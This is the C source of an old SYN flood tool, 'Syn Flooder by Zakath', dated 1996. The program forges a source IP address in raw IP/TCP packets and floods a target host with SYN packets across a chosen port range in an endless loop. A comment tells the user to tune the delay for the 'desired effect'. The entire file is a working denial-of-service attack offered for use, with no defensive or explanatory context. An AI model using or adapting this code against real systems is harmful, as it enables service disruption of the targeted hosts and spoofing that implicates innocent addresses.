/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * All other code by Zakath.
 * Not too cosemtic right now, just finished beta version. No docs on 
 * how to use - figure it out yourself. Change the usleep() below depending
 * on your bandwidth / desired effect. 
 * 
 * [3.22.96]
 */

#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define SEQ 0x28374839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 1;
int sock, ssock;

/* Check Sum */
unsigned short
ip_sum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  sum += (sum >> 16);           /* add carry */
  answer = ~sum;                /* truncate to 16 bits */
  return (answer);
}

unsigned long getaddr(char *name) {
  struct hostent *hep;

  hep=gethostbyname(name);
    if(!hep) {
      fprintf(stderr, "Unknown host %s\n", name);
      exit(1);
    }
  return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
  char buf[65536];
  struct {  /* rfc 793 tcp pseudo-header */
    unsigned long saddr, daddr;
    char mbz;
    char ptcl;
    unsigned short tcpl;
  } ph;

  struct sockaddr_in sin;	/* how necessary is this, given that the destination
				   address is already in the ip header? */

  ph.saddr=ih->saddr;
  ph.daddr=ih->daddr;
  ph.mbz=0;
  ph.ptcl=IPPROTO_TCP;
  ph.tcpl=htons(sizeof(*th)+dlen);

  memcpy(buf, &ph, sizeof(ph));
  memcpy(buf+sizeof(ph), th, sizeof(*th));
  memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
  memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
  th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
  
  memcpy(buf, ih, 4*ih->ihl);
  memcpy(buf+4*ih->ihl, th, sizeof(*th));
  memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
  memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
  
  ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
  memcpy(buf, ih, 4*ih->ihl);

  sin.sin_family=AF_INET;
  sin.sin_port=th->dest;
  sin.sin_addr.s_addr=ih->daddr;

  if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
    printf("Error sending syn packet.\n"); perror("");
    exit(1);
  }
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
  int i, s;
  struct iphdr ih;
  struct tcphdr th;
  struct sockaddr_in sin;
  int sinsize;
  unsigned short myport=6969;
  char buf[1024];
  struct timeval tv;

  ih.version=4;
  ih.ihl=5;
  ih.tos=0;			/* XXX is this normal? */
  ih.tot_len=sizeof(ih)+sizeof(th);
  ih.id=htons(random());
  ih.frag_off=0;
  ih.ttl=30;
  ih.protocol=IPPROTO_TCP;
  ih.check=0;
  ih.saddr=my_ip;
  ih.daddr=their_ip;
  
  th.source=htons(srcport);
  th.dest=htons(port);
  th.seq=htonl(SEQ);
  th.doff=sizeof(th)/4;
  th.ack_seq=0;
  th.res1=0;
  th.fin=0;
  th.syn=1;
  th.rst=0;
  th.psh=0;
  th.ack=0;
  th.urg=0;
  th.res2=0;
  th.window=htons(65535);
  th.check=0;
  th.urg_ptr=0;

  gettimeofday(&tv, 0);

  send_tcp_segment(&ih, &th, "", 0); 

  send_seq = SEQ+1+strlen(buf);
}
     
main(int argc, char **argv) {
  int i, d, max, floodloop, diff;
  unsigned long them, me_fake;
  unsigned lowport, highport;
  char buf[1024];

  if(argc<5) {
    printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
    exit(1);
  }

  me_fake=getaddr(argv[1]);
  them=getaddr(argv[2]);
  lowport=atoi(argv[3]);
  highport=atoi(argv[4]);

  ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if(ssock<0) {
    perror("socket (raw)");
    exit(1);
  }
  sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  if(sock<0) {
    perror("socket");
    exit(1);
  }

  max = 1500;
  i = 1;
  diff = (highport - lowport);

  if (diff > -1) 
  {
     printf("flooding. each dot equals 25 packets.\n");
     for (i=1;i>0;i++)
     {
       srandom((time(0)+i));
       srcport = getrandom(1, max)+1000;
       for (d=lowport;d<=highport;d++) 
       {
          spoof_open(/*0xe1e26d0a*/ me_fake, them, d);
          usleep(30);
          
          if (!(floodloop = (floodloop+1)%(diff+1))) {
             fprintf(stdout,"."); fflush(stdout);
          }
       }
     }
    printf("Flood completed.\n");
 }
 else {
   printf("High port must be greater than Low port.\n");
   exit(1);
 }
}
